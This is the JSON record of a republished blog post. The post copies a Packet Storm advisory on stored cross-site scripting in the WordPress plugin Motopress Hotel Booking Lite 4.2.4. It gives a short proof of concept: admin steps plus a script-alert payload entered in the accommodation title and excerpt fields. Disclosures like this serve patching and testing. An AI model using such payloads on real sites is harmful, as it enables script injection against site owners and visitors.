{"id":25615,"date":"2022-06-10T20:18:36","date_gmt":"2022-06-10T16:18:36","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167460\/wpmotopresshbl424-xss.txt"},"modified":"2022-06-14T10:05:10","modified_gmt":"2022-06-14T05:35:10","slug":"wordpress-motopress-hotel-booking-lite-4-2-4-cross-site-scripting","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-motopress-hotel-booking-lite-4-2-4-cross-site-scripting\/","title":{"rendered":"WordPress Motopress Hotel Booking Lite 4.2.4 Cross Site Scripting"},"content":{"rendered":"<dl id=\"F167460\" class=\"file first\">\n<dt dir=\"ltr\"><a class=\"ico text-plain\" title=\"Size: 0.7 KB\" href=\"https:\/\/packetstormsecurity.com\/files\/download\/167460\/wpmotopresshbl424-xss.txt\" target=\"_blank\" rel=\"noopener\"><strong>WordPress Motopress Hotel Booking Lite 4.2.4 Cross Site Scripting<\/strong><\/a><\/dt>\n<dd class=\"datetime\" dir=\"ltr\">Posted <a title=\"14:13:38 UTC\" href=\"https:\/\/packetstormsecurity.com\/files\/date\/2022-06-10\/\" target=\"_blank\" rel=\"noopener\">Jun 10, 2022<\/a><\/dd>\n<dd class=\"refer\" dir=\"ltr\">Authored by <a class=\"person\" href=\"https:\/\/packetstormsecurity.com\/files\/author\/16357\/\" target=\"_blank\" rel=\"noopener\">Sanjay Singh<\/a><\/dd>\n<dd class=\"detail\" dir=\"ltr\">WordPress Motopress Hotel Booking Lite plugin version 4.2.4 suffers from a persistent cross site scripting vulnerability.<\/dd>\n<dd class=\"tags\" dir=\"ltr\">tags | <a href=\"https:\/\/packetstormsecurity.com\/files\/tags\/exploit\" target=\"_blank\" rel=\"noopener\">exploit<\/a>, <a href=\"https:\/\/packetstormsecurity.com\/files\/tags\/xss\" target=\"_blank\" rel=\"noopener\">xss<\/a><\/dd>\n<dd class=\"md5\" dir=\"ltr\">SHA-256 | <code>5cc44d045b16ad7ccdd88a107e648c4c1da49cc26d0a844d7168e4d5f80ea2b0<\/code><\/dd>\n<dd class=\"act-links\" dir=\"ltr\"><a title=\"Size: 0.7 KB\" href=\"https:\/\/packetstormsecurity.com\/files\/download\/167460\/wpmotopresshbl424-xss.txt\" rel=\"nofollow noopener\" target=\"_blank\">Download<\/a> | <a class=\"fav\" href=\"https:\/\/packetstormsecurity.com\/files\/favorite\/167460\/\" rel=\"nofollow noopener\" target=\"_blank\">Favorite<\/a> | <a href=\"https:\/\/packetstormsecurity.com\/files\/167460\/WordPress-Motopress-Hotel-Booking-Lite-4.2.4-Cross-Site-Scripting.html\" target=\"_blank\" rel=\"noopener\">View<\/a><\/dd>\n<\/dl>\n<div class=\"src\" dir=\"ltr\">\n<pre><code># Exploit Title: WordPress Plugin Motopress Hotel Booking Lite 4.2.4 - Stored Cross-Site Scripting (XSS)\r\n# Date: 2022-06-05\r\n# Exploit Author: Sanjay Singh\r\n# Vendor Homepage: https:\/\/motopress.com\/\r\n# Software Link: https:\/\/downloads.wordpress.org\/plugin\/motopress-hotel-booking-lite.4.2.4.zip\r\n# Version: 4.2.4\r\n# Tested on: Windows\/XAMPP\r\n###########################################################################\r\nPoC:<\/code><\/pre>\n<p>1. http:\/\/localhost\/wp-admin\/edit.php?post_type=mphb_room_type<br \/>\n2. Click on &#8220;Add Accommodation Type&#8221;.<br \/>\n3. Add title payload= &#8220;&gt;&lt;script&gt;alert(&#8220;XSS&#8221;)&lt;\/script&gt;<br \/>\n4. Excerpt input payload &#8220;&gt;&lt;script&gt;alert(&#8220;XSS&#8221;)&lt;\/script&gt;<br \/>\n5. Click publish.<br \/>\n6. Visit http:\/\/localhost\/accommodations\/<br \/>\n7. XSS payload execute.<\/p>\n<pre><code><\/code><\/pre>\n<p>&nbsp;<\/p>\n<pre><code><\/code><\/pre>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>WordPress Motopress Hotel Booking Lite 4.2.4 Cross Site Scripting Posted Jun 10, 2022 Authored by Sanjay Singh WordPress Motopress Hotel Booking Lite plugin version 4.2.4 suffers from a persistent cross site scripting vulnerability. tags | exploit, xss SHA-256 | 5cc44d045b16ad7ccdd88a107e648c4c1da49cc26d0a844d7168e4d5f80ea2b0 Download | Favorite | View # Exploit Title: WordPress Plugin Motopress Hotel Booking Lite 4.2.4 &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-25615","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/25615","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=25615"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/25615\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=25615"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=25615"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=25615"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}